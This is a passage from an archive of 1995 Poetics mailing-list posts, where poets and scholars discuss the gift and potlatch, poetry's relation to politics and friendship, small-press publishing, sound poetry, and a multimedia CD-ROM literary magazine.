American Declaration of Independence 485 words
EU internal memo on the role of the aubergine 9800 words

Caddel adds:
Anyone like to count the number of words in the ECOSOC Opinion on Plain Language (CES 797/95)?

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

199. Ann Louise Vickery
Re: The South
Tue 10 Oct 1995

Hi Ron and all those interested in the correct spelling of 'diggery do.' According to our Oz dictionaries, it's spelt 'didgeridoo.' Unfortunately, it is perhaps still best known in association with Rolf Harris, who is famous (or more appropriately, infamous) for that lovely ditty,"Tie my kangaroo down, sport"! Although the instrument was popularized and to a certain extent, Westernized, through his use, it can resound with some wonderfully deep tonal variations. The Aboriginal musicians that I've actually heard play a didgeridoo sound nothing like him!

I'm getting Poetics list through the digest mechanism so I hope I'm not repeating old news. All the best from an Antipodean lurker,

Ann Vickery

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200. Ann Lauterbach
Re: POETICS Digest - 7 Oct 19...
Tue 10 Oct 1995

Re: the gift: on a wider canvas, you might look at Lewis Hyde's The Gift: Imagination and the Erotic Life of Property (Vintage) which explores the art of the gift of art giving in other cultures as well as our own. "There's no irony in cyberspace" ....isn't that a line from O'Hara, you know the one that ends "Lana Turner we love you get up"?

↑ Index

201. ULMER SPRING
Re: Yonder
Tue 10 Oct 1995

Can someone tell me where I can find recordings of the Four Horsemen. I would greatly appreciate it. Thank you.

Spring Ulmer
[redacted]

↑ Index

202. Gale Nelson
Re: I want to help it, but I can't
Tue 10 Oct 1995

Mark,

I think we must accept the fact that we disagree. A book, of course, is a commodity, in that it is for sale. I would argue that a small press publisher is not a business person in the way a hardware store owner is in that hardware stores have an expectation of making profits -- most presses have expectations of losing money. We give away "product" to lots of people, who might review the book, might be interested in the writer/ writing, etc. When many of those persons respond to review copies with a copy of their catalogue, it is, of course, discouraging, and, from my perspective, a suggestion that they're projects are more important than, say, paradigm's. So be it. We publish the books and try to get them into the hands of readers -- not to build our own libraries -- because we care about the work (and in many cases the writer) involved. I certainly have appreciated the caring work undertaken on my behalf by editors, and feel a certan failure for not being able to make their time and financial commitments bear more fruit in terms of sales and recognition for those presses.

I remain unconvinced that poets should be using tactics to get ahead. I worked in public relations right out of college, so I may be overly concerned about the differences between that world and one involving poetry. The world of public relations (at least the one in which I was immersed) was what provided me with a chronic bad back, difficulty breathing and a constant desire to rinse from my mouth the bad taste that comes with trying to fleece your client, while pulling the wool over the eyes of anyone who could do you or your client an ounce of good. Consider the comments of prosecutor, Christopher Darden, who, during parts of the double murder case of Nicole Brown Simpson and Ronald Goldman, stated that he would reflect upon his role in his profession at the case's end. Poetry is, for me, a refuge from the worst and most commercial aspects of

American capitalism. Talk of tactics makes me feel a certain level of unease that makes me take at least a few steps toward the bathroom, instinctively. I hold poetry to a higher standard than is perhaps appropriate. But if poetry is nothing more than a commodity to most poets, then I reaffirm my sense of idealistic confusion -- where then should I turn?

If poetry is about nothing more than getting something tangible (a job, a book contract, recognition), then why do it? Why not participate in more well-paid professions; why not write celebrity bios, why not run for political office?

From the pit of my stomach's stomach,

Gale Nelson

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203. Jeff Hansen
poetry and politics
Tue 10 Oct 1995

I have been enjoying the discussion about the political merits of poetry, and I thought that I would add the following.:

It seems to me that poetry, and especially so-called avant-garde poetry, has been haunted by Percy Shelley's claim that poets are unacknowledged legislators for some time. Behind Shelley's claim seems to be the highly Romantic ideal of being the sole creator -- think of "Kubla Khan" -- the originator par excellence. Shelley wanted to claim that politics emerges from poetry, however much the debt is hidden, and therefore poetry is the potent, original source. This desire to be New, to b Original, to owe a debt to no one else did not, if my understanding of literary history is correct, gain much of a hold before the Romantics.

And we are still stuck with it. How often is a poet praised because of being "wholly original"? What the hell does it mean to be "wholly original" when the language predates every user, including the poet?Why is it that relevancy seems to be attached to the political? Perhaps because the political obviously orders our lives, and if poetry is to be originary for experience then it must scoop politics?

I'm becoming much more interested in the relationship between friendship and poetry than poetry and politics. It seems more grounded, since so many of my friends are poets and artists: none are politicians. Politics is what we can do when we are not writing, working, or enjoying our friends. But it seems to me that worrying about the political relevancy of poetry just gets us into the old Shelleyian trap: poetry should be at the origin of everything.

I don't write in order to create rules (i.e. legislate); I write to explore. And I publish to plume my ego and to see what happens to my explorations. And my explorations are not original, they are among, between and alongside those of my poet friends and other poets I don't know, and just plain friends.

Why ask of poetry more than it can deliver? We don't ask the same of cooking.

Jeff Hansen

↑ Index

204. Peter Larkin
Fragments, mourning and derivation
Tue 10 Oct 1995

------- Forwarded Message Follows -------

This post is now a bit behind the times. I had trouble getting through before. Peter

------- Forwarded Message Follows -------

From: Self <LIBRIS/LYAAZ>
To: [redacted]
Subject: Fragments, mourning and derivation
Date sent: Wed, 4 Oct 1995 13:18:29

I was interested in the responses/contributions from Larry Price and Tod Thilleman, but being the first week of term here there isn't time for more than a few derived and rehashed thoughts. Re: "the past" I wonder whether the phenomenological distinction between the past as a past present (to some degree retrievable) and the past as the phantasmic Past (always already past) may not be useful; both terms operate within our common term,past. By "weak" I was thinking not so much in terms of Vattimo's "weak ontology" as Nemoianu's idea of the secondary, that which is recessively, non-oppositionally other, and may now be the only place, at our cultural moment for such twilight terms as the classical or traditional, if those terms can ever remain alive within a context of non-dominance. As for attachment, a few more self-quotes from an essay on D Jones: "It is the property of diversity...to attach itself...In what sense can fragments attach themselves? They can never again be integral components, but rather like the chosen but random or already- used elements which go to make up a nest or section of dry-stone walling, fragments may be recombinative of more basic patterns of nurture (ie. the improvisatory recombinations find their way to those basic patterns). But perhaps the discussion has moved on... Peter

Peter Larkin Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 524475 Fax: 01203 524211
Email: [redacted]

↑ Index

205. **tunguska**
politics (cultural contexts) & derivation
Tue 10 Oct 1995

>
That sense of
>resistance is not, I think, about autonomy only, but equally has implications
>for the intersubjective.

...going on from there to relate duncan's sense of the world, and Spicer's, two "examples" if you will, of this.

I can't help but think of that TV commercial, so absolutely brilliant, on the "new Visa Gold Card". Eeeeverybody's quarreling about the common currency in europe, but, "excuse me guys", says the american pulling his card from the ATM, cash procured and worry free, a common currency's already taken hold in trans-europa, thousands of machines already in place. "Visa, it's everywhere you want to be" So much for identification.

Alot of my friends, in NYC, grew up in a very similar, americanized, culture, even tho they were born in Ireland, England, Baghdad, Russia, France, Holland & Germany. "The medium is the message, the nightmare, from which we are trying to awaken" to quote a famous 'canadian from Dublin'.

I think, also, Ed Foster, you mean 'onto-theology' instead of simply theology. There's where movement is, you mean by not so simply metaphoric--if metaphor is seen here as that which only satisfies linguistic impertinence. My belief is that a poetics that refuses offensive strategies, is doomed to go down in the flood. We must "move" toward the centers of "philosophy". It's a mediator already anyway.

t thilleman
tod thilleman

↑ Index

206. Daniel Bouchard/College/hmco
Re: poetry and politics
Tue 10 Oct 1995

Jeff Hansen wrote:

> *I'm becoming much more interested in the relationship between friendship and poetry than poetry and politics. It seems more grounded, since so many of my friends are poets and artists: none are politicians. Politics is what we can do when we are not writing, working, or enjoying our friends.*
>
> *Why ask of poetry more than it can deliver? We don't ask the same of cooking.*

There's the old/new adage again: Poets can't set the world on fire, so quit collecting kindling and leave the lighter for the professionals. "Old/new," of course, depends on which sage you're hearing it from.

I haven't met a poet yet who isn't a closet politician to some degree. Some are better schooled in diplomacy than others.

There are millions of hobbies available in the world: why pick politics?

We barely know how a fertlized egg develops into a complex life form; when were the limitations on what poetry can deliver declared? To state that they are definitive and exhaustible makes "exploration" look futile.

daniel_bouchard @ hmco.com

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207. tunguska
Derrida on the episteme of lies
Tue 10 Oct 1995

In reply to Maria and Kat in re the Derrida/Arendt/totalitarianism lecture, I would simply want to add that yes, the law is highly implicated (let's not forget, if OJ IS guilty, he won't be the first to walk, and vice versa etc etc) as well as the evolution of current strategic peace plans, projected both from a "domestic" stand-point, and a "european" standpoint, as well as still a "middle eastern" standpoint, as well as those not even projected yet. The implication being held on the same legs as the "explication" of the lie. Derrida characterized the lie, with the help of Arendt and a couple other coevals to her writings, time, and subject matter, as that which seeks to "arouse" others to "go do something." The other day, the Pope did just this at his mass in Giants Stadium and Central Park. He told all the faithful, to join action to their faith (obviously, this is linked, almost solely, to "abortion")and go out and change the world. The most repeatable characteristic, or filip, of the lie, is that it shows the world not the

way it is, because it wants to "change the world." So it, of course, shows it not the way that it is, but the way that it could be.

The implications set forth by the "reality" of the lie, are such as to effect both the left and the right, the black and the white, missionaries in the wild, policy planners at NATO, as well as the cuckolded, the mortified, and chagrined.

That is how "deep" this goes. It determines, for it's realization, an episteme.

tod thilleman
tod thilleman

↑ Index

208. tunguska
Stephen Jonas/gentleman
Tue 10 Oct 1995

No doubt, Maria, his anti-semitism must hit one smack in the head. I'm sure it's a motivating center for many. Interesting, for me, tho, was his love & worship of JFK. But that is simply, I'm sure, because I were born in '62. The JFK and the banks thing is far more strange, to me, than his anti-semitism.

Thanks, and will get back about this mysterious gentleman, when I've spent more time on his "orgasms/dominations"
tod thilleman

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209. Herb Levy
Re: Yonder
Tue 10 Oct 1995

Ron Silliman writes:

> *What would it mean to "close read" specific sound texts and how much would they then differ? Invariably I come up with the importance of sound itself as such as a signifier that transcends sense. What is then made of that transcendance is, it seems, ultimately a wall. Differences between texts tend to be rooted in the source material, which oft times is "found," or in a psychographics of the resonating body. But beyond that? Well, I'd have to be shown. (As always, I'm willing to learn....)*

I don't have an easy answer for the question, but I think that one of the possible problems with "sound poetry" is that people try to read or hear it more as "poetry" than as "sound."

So I have another question for you, Ron:

Does all instrumental music "say the same thing"?

In other news, I've seen didgeridoo spelled all of the ways that the Smiths have posted, though perhaps it makes sense to defer to Ann Vickery's Australian dictionary.

FWIW, the word "didgeridoo" is an onomatopoetic transcription of one of the instrument's sounds, coined by British settlers. It has no relation to any of the native terms for the instrument.

Herb Levy
[redacted]

↑ Index

210. Dodie Bellamy
Re: poetry and politics
Tue 10 Oct 1995

Jeff Hansen writes:

>Why ask of poetry more than it can deliver? We don't ask the same of cooking.

Jeff,

As a vegetarian, I can tell you that there's plenty of politics involved in cooking. Also, I'm sure if you look at food in terms of the history of colonialism, you'd overturn a whole other can of worms (which I'm sure would be yummy to some). I doubt if there's any area of human life that doesn't have some political implications.

Dodie

↑ Index

211. Angus Cleghorn
Gift
Tue 10 Oct 1995

On Mon. Oct. 9, Shaunanne Tangney wrote:

> *i love the idea of the gift. . . i think that a poem is the reality of gift. . .*
> *cixous speaks of both the gift and of pure spending. she alludes to the pot latch in which we are made richer by what we give away.*

Shaunanne, where does Cixous write of the gift? Derrida's _Given Time: Counterfeit Money_, analyses the economy of the gift in Baudelaire's poem "Counterfeit Money". JD also writes about the gift in context of the potlatch,

and narrows down the gift as the space of time in any exchange. (forgive me if this ground has been covered, I'm new to the list)

another gift speaking of gift:

A flick which added to what was real and its vocabulary,
The way some first thing coming into Northern trees
Adds to them the whole vocabulary of the South,
The way the earliest single light in the evening sky, in spring,
Creates a fresh universe out of nothingness by adding itself,
The way a look or a touch reveals its unexpected magnitudes.

- Wallace Stevens, "Prologues to What is Possible"

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212. tunguska
New Release from Spuyten Duyvil//Alice Rose George
Tue 10 Oct 1995

CEILING OF THE WORLD
poems by Alice Rose George

pbk: $10.95
70 pages
ISBN: 1-881471-13-6

available direct from SD (add $2 for shipping)

Spuyten Duyvil
PO Box 1852
Cathedral Station
New York, NY 10025
phone: [redacted]

"Harder on herself than we expect our poets to be, Alice George passes the Monuments with a sigh, the Ruins with a shudder, and affords (at what cost) a lyric account of a woman's life stared down with re markable clarity, no indulgence at all. The poem "Correspondence," for example, is an authentic scandal-- and there are others of the sort, truth being the scandal, of course; nothing so contingent as mere behavior. The poems impart a stoic thrill."

-- Richard Howard

"Alice Rose George's poems have an exquisite lightness of being: they RISE before our eyes, slip free the bonds

> of gravity, open upward like prayers or wings, up to
> the ceiling of the world. I am amazed at their daring
> weightlessness-- it is never ephemeral, rather intensely
> ECSTATIC--the headlong, imperative joy of the child, Sufi,
> poet-debauchee. A way to levitate and yet hold tight to
> this world: what the best poetry does for us."
>
> -- Carol Muske

A Note on the Author:

Alice Rose George was born in Mississippi. She received a degree in English Literature from Sophie Newcomb College/Tulane University. Her junior year was spent at the University of London at Westfield College. She studied for one year at the New York University Graduate Program for Creative Writing. Photography editor formerly with GRANTA, she now freelance picture edits and lives in NYC.

Spuyten Duyvil also distributed by Small Press Distribution: [redacted].

tod thilleman

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213. Charles Alexander
Re: Gift
Tue 10 Oct 1995

I think it's great that Derrida and Cixous and others have written of gift and potlatch, but I also think it's a great benefit of being in this nation (oh my that sounds awfully patriotic, which isn't the intent) that you can witness potlatch. I certainly don't know the customs of all the peoples in various communities, pueblos, and reservations in this country, but I know that a lot of ceremonies in various places are open. The first potlatch I witnessed was during the Chief Lookingglass Festival on Nez Perce lands in Idaho. The acts of giving thanks and honoring by giving in a very public way was extremely moving, but also quite practical as a way of sharing goods in a community. And how can you not love the concept that one is wealthy by virtue of what one gives away. I can only hope this has a great deal to do with our poetry, with our poetics.

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214. Charles Alexander
Re: I want to help it, but I can't
Tue 10 Oct 1995

> *I think we must accept the fact that we disagree. A book, of course, is a commodity, in that it is for sale.*

I learned first to make books with my hands, using type and paper, thinking of it as both a means of verbal expression and a visual exploration of possibilities related to the written words. In other words, very much like writing a poem. But I wanted people to see these books, and they cost money to make, so I also started selling them. I really don't give a damn if someone thinks of them as a commodity or not, or whether I think of them as a commodity or not, except in that I have become interested in what happens with them in the world. But I don't think a book is any more of a commodity than a poem, at least as soon as the creator of that poem wants to find an audience.

> *If poetry is about nothing more than getting something tangible (a job, a book contract, recognition), then why do it? Why not participate in more well-paid professions; why not write celebrity bios, why not run for political office?*

I'm not sure where you draw the line here, Gale. Do you really object as soon as one wants an audience for one's work? Or is it only when finding that audience is attached to status of various sorts, or to money from various sources? Do you think all poets are meretricious? Do you think all publishers are? Is it bad to like the job of poet (provided one can find a way to get a job as poet) better than liking the job of writing celebrity bios or the job of holding political office (not that I necessarily believe it's more honorable, but I will grant either desire its legitimacy)? If you're simply trying to state that some poets are manipulative and power hungry, I probably have to agree at some level -- but if you're trying to state that all poets are manipulative and power hungry and ought to admit it, I don't think I can agree. If wanting attention is a sinful thing, then I should be punishing my two-year old daughter all the time. I don't think so, not for her or a poet or a publisher.

So, IS poetry about something more? It sounds as though you don't think so. Is that true?

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215. **Jordan Davis**
Re: poetry and politics
Tue 10 Oct 1995

Since we're in the config menu for G2 let me set the preference for tone to the following paragraph >

> I'm becoming much more interested in the relationship between friendship and
> poetry than poetry and politics. It seems more grounded, since so many of my
> friends are poets and artists: none are politicians. Politics is what we can
> do when we are not writing, working, or enjoying our friends. But it seems to

> me that worrying about the political relevancy of poetry just gets us into the
> old Shelleyian trap: poetry should be at the origin of everything.
>
I think it was Steve Evans who set the default book to: Kevin Davies'
Pause Button. Could we have that ordering info one more time?

Jordan

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216. FUNKHOUSER CHRISTOPH
cd-rom announcement
Tue 10 Oct 1995

Dear Poetics,

The following piece is about to go out in Mark Nowak's excellent assemblage, _North American Ideophonics Annual_, & hopefully it's ok to post it to this list as well . . . as publication announcement . . .

- Chris F

*

The Little Magazine Volume 21:
A Fresh and Complex Platform For Poetry

We recently endured the extreme privilege and task of editing and co-producing Volume 21 of _The Little Magazine_, the literary annual created by graduate students at the University at Albany. The initial call-for-work for the journal, composed by faculty advisor, Don Byrd, announced we were "looking for writing and visual art work which exists in the imagination of media still uncreated," and "interested in work which will call forth the media of the future." At the outset, we were unsure of what format the magazine would take. Interested in exploring the possibilities of digital multimedia, we ended up challenging ourselves to invent a new type of literary journal, one to be presented on cd-rom. Ben Henry, a poet and formidable computer programmer, also a graduate student at Albany (and technical editor for the magazine), assured us it would be possible to produce such a project given the resources at hand. We were starting, literally, at "square one:" none of the magazine's five editors had produced anything for this medium before. Most of us had no familiarity with multimedia software; we did not even know many people who were working in this area of creative expression. While building the magazine, we felt we were operating without any useful models or precedents to follow. There were, to our knowledge, only three cd-roms available which treated poetry. One of them is the well-known _Poetry In Motion_ (published by Voyager), essentially a transfer of a documentary film by

Ron Mann, which makes extensive, if problematic, use of digitized video (which is, at this time, better handled by laserdisc technology). Our approach was to be, conceptually and due to technological limitations -- quite different than this. The other titles, concerned mainly with conservative presentations of canonical poetry, offered little for readers interested in adventurous contemporary writing. In September 1994 our advisors gave us the go-ahead in support of our vision. Our methodology in producing the journal was at first quite typical: we sent out letters of solicitation to potentially interested/interesting writers and artists. We also posted announcements in appropriate places on the Internet. For several months, almost nobody -- with the exception of Charles Bernstein (who conceived an audio/visual collaboration with Susan Bee), and Robert Grenier (who sent a series of his color-xeroxed scrawl poems) -- responded to our invitation. The gathering of materials continued to proceed quite slowly, until it became necessary for us to begin the production-phase of the magazine in January, 1995. Then we began to work with various print texts which had been submitted (i.e. words on paper), and ideas proposed, converting them from the page or concept to computerized multimedia. We soon realized that we were not so well-equipped to handle the project. We had no convenient ways of digitizing either static or moving visual images, and no way of efficiently storing the large amounts of digital data which would inevitably accumulate. Eventually, we found a couple of local resources through which we could translate images onto the computer, and invested in a removable harddrive (SyQuest), and several large (200 megabyte) cartridges which saved us from the impossibility of having to manage several hundred floppy diskettes. A few pieces, more or less prepared for digital multimedia, eventually began to find their way to us. By this time, each editor had taken on several pieces to translate, one way or another, to computerized performance. This phase of production lasted for about five months, during which few other pieces already prepared for computer presentation came in. These months basically consisted of intensive collaborations between Belle Gironda, Ben Henry, myself, and the authors whose texts we were working with. Some authors were much more involved with the process than others. Most contributors were completely unfamiliar with the mechanisms of multimedia publishing, and left it up to us to devise and develop their work for them. Taking things one step at a time, learning the concepts and intracacies of the IBM based hardware and software, we were able to compose more than fifty pieces for the magazine. There were a few pieces which we attempted to develop which did not work out, unfortunately, for one reason or another. At this very early stage in what could be an epoch of digital multimedia production, we faced difficulties with the inherent differences between Macintosh and IBM systems. Only a few of our problems were solved by the acquisition of a piece of software which helps to bring digital data across

platforms. Our work mostly involved getting images, sounds and alphabetic texts onto the computer, deciding how we wanted them to engage with each other on the screen, then writing programs (sometimes simple, sometimes not) so that they would function properly. We were fortunate to have the assistance of Roberto Bocci, a video and graphic artist, who created the video segments of the magazine, rendered the graphic layout of our packaging, and collaborated with Gully Foyle on what turned out to be the most complicated single exhibition on the cd-rom. It was necessary for us to conceive and implement an interface which would tie all of the disparate pieces in the magazine together. As editor, I took this task as part of my work, and proceeded to diagram a simple, friendly design. Realizing that a site-specific "reading" of this sort would likely be unfamiliar, and perhaps disconcerting, to most who would be interested in viewing the atomic-age open-writing our magazine presents, my goal was to make it homespun without being utterly facile. Fortunately, the Asymetrix Multimedia Toolbook software, with which we made the journal, lent itself, metaphorically, to the structure of a literary publication. Each image, or text, is set up on, or attached to a "page," so it became a matter of organizing the pages, and setting up transitions in an clear, non-confusing way which could be easily operated by the reader. Though there are critiques to be made of our efforts, we are quite pleased with the efficacy of our journal's organization. We were able to bring together a wide variety of materials, which can be explored without much difficulty, and provide unobstructed documentation of how each piece was built, as well as biographical information about each "author." As an added feature to the cd-rom, we built a section of "Contextualizing Materials." This branch of the magazine, attached to the main menu, details extensive credits, contains a speculative editorial statement which considers some of the potential arguments against the computerization of poetry. This section also documents most of the equipment we used to create the magazine, and features a "Sound Gallery," an assemblage of poetry recitations matched with visual images by Phillip Djwa. Especially as the end of the project drew near, the troubles we encountered caused much frustration. The precise meta-language of computer programming tested the limits of our abilities and (in)experience. The process of taking the materials out of the computer lab we were using in Albany, and into another, whether to create digital video segments, or to "burn" demo/test cds, turned out to be much more troublesome than we'd envisioned. Every piece of digital information -- and our magazine is made up of millions of bytes of data -- must be perfectly placed in order for it all to work properly. Additionally, the hardware which produces these materials must be configured seamlessly. Since we had no formula to follow, and such a project had never been attempted by anyone at our institution, we struggled at nearly every moment to get to the next step. In retrospect, between the ominous

bureaucracy, fickle machinery, and our own naivete, it is near surprising that the publication of _The Little Magazine Volume 21_ occurs at all. Nevertheless, as of October 1, 1995, our cd-rom is available for those interested in what is happening in the realm of digital multimedia poetry. (For a copy, send $15 to The Little Magazine c/o Dept. of English, University at Albany, 1400 Washington Avenue, Albany, NY 12222). When asked about my motives in working with this (and other) aspects of "electronic publishing," I resist providing any pat answer -- though the question of the need for journals of this sort is examined in the editorial statement written for our magazine. Certainly, this project represents a type of discontinuity of any poetic tradition of the past century -- which, from our perspective, shouldn't be seen as a negative phenomenon. It has to be acknowledged that textscapes have radically changed in recent decades. In fact, our efforts seem logical if, as Jerome Rothenberg and Pierre Joris claim in their introduction to the anthology _Poems For The Millennium_ "a new look has been long overdue" for twentieth century poetry. _The Little Magazine Volume 21_ is a concerted effort to provide links between past, present and future modes of poetic presentation. Much of what we have before us has changed over the past century. The editors of the magazine are not convinced that writing is in its most effective space on-the-page anymore. We are aware of, and understand, various resistances to electronic media, and never argue for the cessation of print publishing. We hear many types of criticism against a computerized condition of poetry, especially those assailing its reliance on corporate machinery. However, instead of dwelling on a cd-rom's uselessness as a piece of plastic without a computer to make it function, we ask what is wrong with being attracted to its plasticity as a form, its ability to mold and compound, into one unit, visual, sonic and alphabetic dimensions of writing? Why shouldn't we urge each other to find ways to make technology work advantageously and effectively for creative purposes? While we remain unconvinced, at this point, that the end justifies the means of publishing in this media, if a group has facilities, and begins with either a fair amount of computer expertise, or developed relationships between writers and programmer(s) and is prepared to withstand any number of complications -- we encourage them to do the best they can.

-Christopher Funkhouser, Albany, NY

*

INGREDIENT STATEMENT:

multimeDia poetry ImagerY sound

Will Alexander
Lori Anderson
Don Archer
Meg Arthurs
Gully Foyle
Susan Bee
Charles Bernstein
Hakim Bey
Roberto Bocci
David Bookbinder
Charles Borkhuis
Susan Brenner
Sean Bronzell
Harvey Brown
Lee Ann Brown
Mark Cheney
Jim Cohn
Stephen Cope
Eric Curkendall
Jacques Debrot
Ray DiPalma
Nancy Dunlop
Gully Foyle
Lawrence Ferlinghetti
Benjamin Friedlander
Chris Funkhouser
James Garrison
Belle Gironda
Loss Pequeno Glazier
Robert Grenier
Ben Henry
Joyce Hinnefeld
Robert Hiles
Jim Hauser
Geof Huth
Julie Ivey
Lisa Jarnot
Judith Johnson
Pierre Joris
Lisa Kaplan
Bill Keith
Robert Kendall
Richard Kostelanetz
Tuli Kupferberg
Steve Laufer
Bill Luoma
Jackson Mac Low
Nathaniel Mackey
Laura Marello
Murphy McCullough
Marty McCutcheon
Michael Melcher
H.D. Moe
Trudy Morse
Murat Nemet-Nejat
Nicole Peyrafitte
Geoffrey Polk
Purkinge
Jed Rasula
Piero Resta
Stefano Resta
Douglas Rothschild
[redacted]!
Stephan Said
Linda Smukler
Chuck Stein
Chris Stroffolino
Anne Tardos
Nathaniel Tarn
Eugene Thacker
thelemonade
Rodrigo Toscano
Chris Vitiello
Ben Yarmolinsky
Katie Yates

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217. **Maria Damon**
Re: poetry and politics
Tue 10 Oct 1995

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how 'bout the relationship between politics and friendship, and what happens when you throw the third term, poetry, in there? what are the "political" dimensions (however broadly that can be construed) of poetic friendships and the "schools," collaborations, and mutual influences that result?--md

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218. **Maria Damon**
Re: poetry and politics
Tue 10 Oct 1995

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jeff hansen writes:
 How often is a poet praised because of being
"wholly original"? What the hell does it mean to be "wholly original" when
the
language predates every user, including the poet?

to which I must respond with a quote from that preeminent political poet lenny bruce: "i've never had an original thought in my life: i speak the english language."

by the way jeff and betsy, i've been wanting to welcome you to the twin cities and meet you etc, but i'm on the east coast on sabbatical! we'll hang when i get back --mid to late june... maria d

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219. **Jordan Davis**
something else lies do
Tue 10 Oct 1995

I'm a little troubled by the heavy discourse surrounding lying by the state that's lingering on the list. Lying--saying something the truth value of which does not correspond to the facts--is the beginning of imagining, eh? Which is our _responsibility_ (and correspondingly, my fellow third-graders of the soul, our _right_). Unless of course there's no connection between lying and poetry (and we have to have our lines polygraphed and pentatholed).

Jordan

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220. Louis Cabri
4 horse men
Tue 10 Oct 1995

Try:

Underwhich Editions
PO Box 262
Adelaide Street Station
Toronto, ON
Canada M5C 2J4

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221. Shaunanne Tangney
Re: Gift
Tue 10 Oct 1995

On Tue, 10 Oct 1995, Angus Cleghorn wrote:

> *On Mon. Oct. 9, Shaunanne Tangney wrote:*
>
> *i love the idea of the gift. . . i think that a poem is the reality of gift. . .*
> *cixous speaks of both the gift and of pure spending. she alludes to the pot latch in which we are made richer by what we give away.*
>
> *Shaunanne, where does Cixous write of the gift? Derrida's _Given Time: Counterfeit Money_, analyses the economy of the gift in Baudelaire's poem "Counterfeit Money". JD also writes about the gift in context of the potlatch, and narrows down the gift as the space of time in any exchange. (forgive me if this ground has been covered, I'm new to the list)*

in many of the essays collected in _coming to writing_ (susan sellars, ed., Harvard UP, 1991) she speaks of the gift. she speaks of giving often, and perhaps similarly to derrida in the mention above (which i have not read, but will search out now--thanks! i am less impressed w/ her claims of a male/female "economy" and of male giving -vs- female giving--seems reductive and binary, but there are spots where she really hits my mark!

good luck,
shaunanne

> *another gift speaking of gift:*
>
> *A flick which added to what was real and its vocabulary,*
> *The way some first thing coming into Northern trees*
> *Adds to them the whole vocabulary of the South,*

> *The way the earliest single light in the evening sky, in spring,*
> *Creates a fresh universe out of nothingness by adding itself,*
> *The way a look or a touch reveals its unexpected magnitudes.*
>
> *- Wallace Stevens, "Prologues to What is Possible"*

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222. **Steve Evans**

Re: poetry and politics

Tue 10 Oct 1995

Apropos the friendship/politics/poetry question, I have been thinking about the way "friendship" is inflected within the context of the broader attempts at racial resegregation such as we have been experiencing since c.1980 and which now threatens to pass the critical mark (pace the decision of my alma mater, the UC system, while the students were away this summer!).

That's what was on my mind when I wrote the following in a paper on Frank O'Hara and the way O'Hara criticism (my examples: Perloff and Bredbeck) has worked to reproduce the racial segregation his work put into serious question. Please forgive, if you can, the ungainly prose:

"Independent, as opposed to commercial and institutional, publishing tends to be directly embedded in the immediate social relations of the people who undertake it, and this the more so the closer one approaches the basal unit of such independent production: the restricted-circulation poetry magazine. The social conditions of production of this form typically involve an editor (or editors), relying on monies not generated within the poetic field (i.e. earnings from a "real job," inheritance, or patronage), and possessed of sufficient amounts of time to absorb the whole spectrum of activities (selecting, editing and proofing, reproducing, binding, circulating, and publicizing) that in institutional and commercial contexts are divided among different specialists. This situation of embeddedness, in which literary project and personal life converge to the point of mutual subsumption, is an objectively ambivalent one: though often perceived from the inside as the positive confluence of poetry and the sphere of elective affinity and friendship, viewed from the "outside" it can appear as clique-ish arbitrariness. The same ambivalence can be registered in racial terms, for if independent publishing is at least potentially a site in which the "spontaneous" desegregation of cultural production can occur--since no formal mechanisms restrict the editorial decision-making process on racial, or indeed any other, grounds--it is by the same token, however, that the very appearance of "spontaneity" can work to veil the de facto segregations of everyday life and to elide the way that even (one might say "especially")

friendship patterns are overdetermined within a society "in which systems of dominance and subordination are structured through processes of racialization that continuously interact with all other forces of socialization" (Carby 193). The objective ambivalence resulting from the pre- and de-formation of spheres of "elective affinity" by selective processes operating at the level of the social totality is of especial importance in the context of the New American Poetry, which consistently foregrounded its own passionate informality and 'openness' in contrast to the bureaucratization of culture epitomized by academic poetry and the institutionally-affiliated journals that sustained it. I would argue that both the independent publications and the poetic formations that crystallized around them did represent gains in the democratization of culture relative to the corporate and university publishing structures, but these gains were not without their own contradictions."

[The Hazel Carby piece referred to is "The Multicultural Wars" in Gina Dent & Michele Wallace's BLACK POPULAR CULTURE (Seattle: Bay P, 1992)]

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223. Steve Carll
Re: verbatim gift from my TV set
Tue 10 Oct 1995

> *"When people are asked*
> *what kind of lawn tractor they'd*
> *like for a gift,*
> *most say the same thing:*

"What in Hell is a 'lawn tractor'?"
>
>

↑ Index

224. Rod Smith
Re: poetry and politics
Wed 11 Oct 1995

Jeff,
Seems to me there might be something new about avant-gardists claiming there's nothing new, at least in American context (dada hit those notes perhaps).
& of course in many ways you're right but the other side
of it is that one can't help but be "new" because you're
in a new context, Stein says that or equivalent somewhere.

--Rod

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225. Tenney Nathanson
gifts
Wed 11 Oct 1995

> *Date: Tue, 10 Oct 1995 10:41:51 -0400*
> *From: Ann Lauterbach <[redacted]>*
> *Subject: Re: POETICS Digest - 7 Oct 19...*
>
> *Re: the gift: on a wider canvas, you might look at Lewis Hyde's The Gift: Imagination and the Erotic Life of Property (Vintage) which explores the art of the gift of art giving in other cultures as well as our own. "There's no irony in cyberspace" ....isn't that a line from O'Hara, you know the one that ends "Lana Turner we love you get up"?*

Ann--

but isn't Hyde a little cheesy? The stuff on Whitman, at any rate, gets at something important but at the cost of a kind of euphoric sentimentalizing of the "pomes" (I think). It's the "as well as our own" part that's the problem, I think: so that Baudrillard, w his sense of how simulation overtakes the gesture, may be preferable (though his evocation of "true" gift exchange is doubtless sentimentalized too).

hailing hits you on the head, hard, so it hurts....

(but I've never actually collapsed)

(and isn't there an "o"?)
(apostrophes will not be permitted on the funicular)

best,

Tenney Nathanson

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226. Tenney Nathanson
(no subject)
Wed 11 Oct 1995

> *Why ask of poetry more than it can deliver? We don't ask the same of cooking.*
>
> *Jeff Hansen*

o but we do!

(money is also a kind of poetry)

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227. Tenney Nathanson
(no subject)
Wed 11 Oct 1995

> *Date: Tue, 10 Oct 1995 15:39:17 -0500*
> *From: Charles Alexander <[redacted]>*
> *Subject: Re: Gift*
>
